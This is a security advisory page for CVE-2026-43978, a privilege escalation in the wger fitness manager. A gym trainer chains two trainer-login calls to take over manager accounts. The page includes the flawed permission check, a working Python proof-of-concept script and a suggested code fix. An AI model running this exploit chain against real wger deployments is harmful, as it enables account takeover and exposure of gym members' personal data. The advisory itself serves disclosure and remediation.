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wger CVE-2026-43978

HIGH
Improper Privilege Management (CWE-269)
2026-05-14 https://github.com/wger-project/wger GHSA-9qpr-vc49-hqg2
8.1
CVSS 3.1
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CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
May 14, 2026 - 17:01 vuln.today
Analysis Generated
May 14, 2026 - 17:01 vuln.today
CVE Published
May 14, 2026 - 16:16 nvd
HIGH 8.1

DescriptionNVD

Summary

A gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.

Details

In wger/core/views/user.py lines 169-178, the permission check uses an AND condition:

python
# Line 169 - passes if EITHER condition is false
if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
    return HttpResponseForbidden()
# Line 173 - only runs when current user IS a trainer, not when identity is inherited
if request.user.has_perm('gym.gym_trainer') and (
    user.has_perm('gym.manage_gym') or user.has_perm('gym.manage_gyms')
):
    return HttpResponseForbidden()

After hop 1 (trainer → regular user), request.user is the regular user who has no gym_trainer permission, but session['trainer.identity'] is set. Line 169 evaluates: not False AND not False → the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds.

PoC

Requirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym.

python
import requests

BASE = 'http://localhost:80'
s = requests.Session()

def whoami():
    r = s.get(f'{BASE}/api/v2/userprofile/',
              headers={'Accept': 'application/json'})
    return r.json().get('username')
# ─────────────────────────────────────────────
print("=" * 55)
print("  PoC: Trainer Login Privilege Escalation")
print("  wger/core/views/user.py:169")
print("=" * 55)
# ─── STEP 1: Normal login as gym trainer ─────
print("\n[STEP 1] Login as 'trainer1'")
print("         trainer1 has ONLY 'gym.gym_trainer' permission")

s.get(f'{BASE}/en/user/login')
s.post(f'{BASE}/en/user/login', data={
    'username': 'trainer1',
    'password': 'pass1234',
    'csrfmiddlewaretoken': s.cookies['csrftoken'],
})
print(f"         Current user  : {whoami()}")
print(f"         Permission    : gym.gym_trainer (NOT manage_gym)")
# ─── STEP 2: Legitimate trainer-login ────────
print("\n[STEP 2] trainer1 uses trainer-login to switch into 'regular1' (pk=4)")
print("         This is ALLOWED - trainer1 has gym_trainer permission")
print("         Side effect: session['trainer.identity'] = trainer1_pk")

s.get(f'{BASE}/en/user/4/trainer-login')
print(f"         Current user  : {whoami()}")
print(f"         Session flag  : trainer.identity is now SET")
# ─── STEP 3: EXPLOIT ─────────────────────────
print("\n[STEP 3] EXPLOIT - now as 'regular1', call trainer-login for 'manager1' (pk=3)")
print("         regular1 has ZERO permissions")
print("         BUT session['trainer.identity'] is set from Step 2")
print("         Line 169 check: `not has_perm() AND not session.get()` → BYPASSED")

s.get(f'{BASE}/en/user/3/trainer-login')
result = whoami()
print(f"         Current user  : {result}")
# ─── RESULT ──────────────────────────────────
print("\n" + "=" * 55)
if result == 'manager1':
    print("  RESULT : !! VULNERABLE !!")
    print("  trainer1 (gym_trainer) is now logged in as manager1")
    print("  manager1 has 'gym.manage_gym' - full gym admin access")
else:
    print("  RESULT : Not vulnerable (got: " + result + ")")
print("=" * 55)

Output on wger 2.5.0a2:

<img width="728" height="628" alt="image" src="https://github.com/user-attachments/assets/3e8affa3-4728-480c-bb57-929f66723ea5" />

Impact

Any authenticated gym trainer can take over a gym manager or general gym manager account within the same gym. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information.

How to fix

The root cause is a logical error in wger/core/views/user.py at line 169. The AND operator means that if session['trainer.identity'] is set, the entire permission check is skipped - allowing any user who has previously been switched into to perform further trainer-login hops without holding the gym.gym_trainer permission themselves. Additionally, the target-user protection block at line 173 only executes when request.user is a trainer, so it never fires during a chained hop.

Vulnerable code (user.py:169-178):

if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
    return HttpResponseForbidden()

if request.user.has_perm('gym.gym_trainer') and (
    user.has_perm('gym.gym_trainer')
    or user.has_perm('gym.manage_gym')
    or user.has_perm('gym.manage_gyms')
):
    return HttpResponseForbidden()

Suggested fix:

trainer_identity_pk = request.session.get('trainer.identity')

if not request.user.has_perm('gym.gym_trainer'):
    if not trainer_identity_pk:
        return HttpResponseForbidden()
# Verify the original trainer in the session still holds the permission
    original_trainer = get_object_or_404(User, pk=trainer_identity_pk)
    if not original_trainer.has_perm('gym.gym_trainer'):
        return HttpResponseForbidden()
# Target-user check must apply in both direct and chained hop scenarios
if (request.user.has_perm('gym.gym_trainer') or trainer_identity_pk) and (
    user.has_perm('gym.gym_trainer')
    or user.has_perm('gym.manage_gym')
    or user.has_perm('gym.manage_gyms')
):
    return HttpResponseForbidden()

AnalysisAI

Privilege escalation in wger fitness manager allows gym trainers to impersonate gym managers via session-chain attack. An authenticated trainer exploits flawed session-flag logic in the trainer-login endpoint to bypass permission checks - first switching into a low-privilege user, then leveraging the inherited 'trainer.identity' session flag to hop into manager accounts. …

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RemediationAI

Within 24 hours: Audit all trainer account activity in wger deployments and document current user privilege assignments; restrict trainer role access if operationally feasible. Within 7 days: Monitor session logs for anomalous privilege transitions and implement network-level access controls to limit trainer-login endpoint exposure; contact wger project for patch timeline via GHSA-9qpr-vc49-hqg2. …

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CVE-2026-43978 vulnerability details – vuln.today

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